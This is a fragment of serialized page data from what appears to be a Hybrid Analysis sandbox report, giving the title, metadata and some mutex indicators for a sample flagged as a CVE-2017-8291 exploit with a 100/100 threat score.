-5541-446a-b7b2-9cdb5a035a79","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\f7522658-5541-446a-b7b2-9cdb5a035a79","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}]}},"report_ids":{"sandbox_job_ids":["5cecf102038838a7115fd1ab"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious CVE-2017-8291 Sample 7c5db78537f3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7c5db78537f3…. Malware family: CVE-2017-8291. Threat score 100/100. 7/27 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1"}],["$","meta","4",{"property":"og:title","content":"Malicious CVE-2017-8291 Sample 7c5db78537f3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7c5db78537f3…. Malware family: CVE-2017-8291. Threat score 100/100. 7/27 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious CVE-2017-8291 Sample 7c5db78537f3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7c5db78537f3…. Malware family: CVE-2017-8291. Threat score 100/100. 7/27 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L34","11",{}]]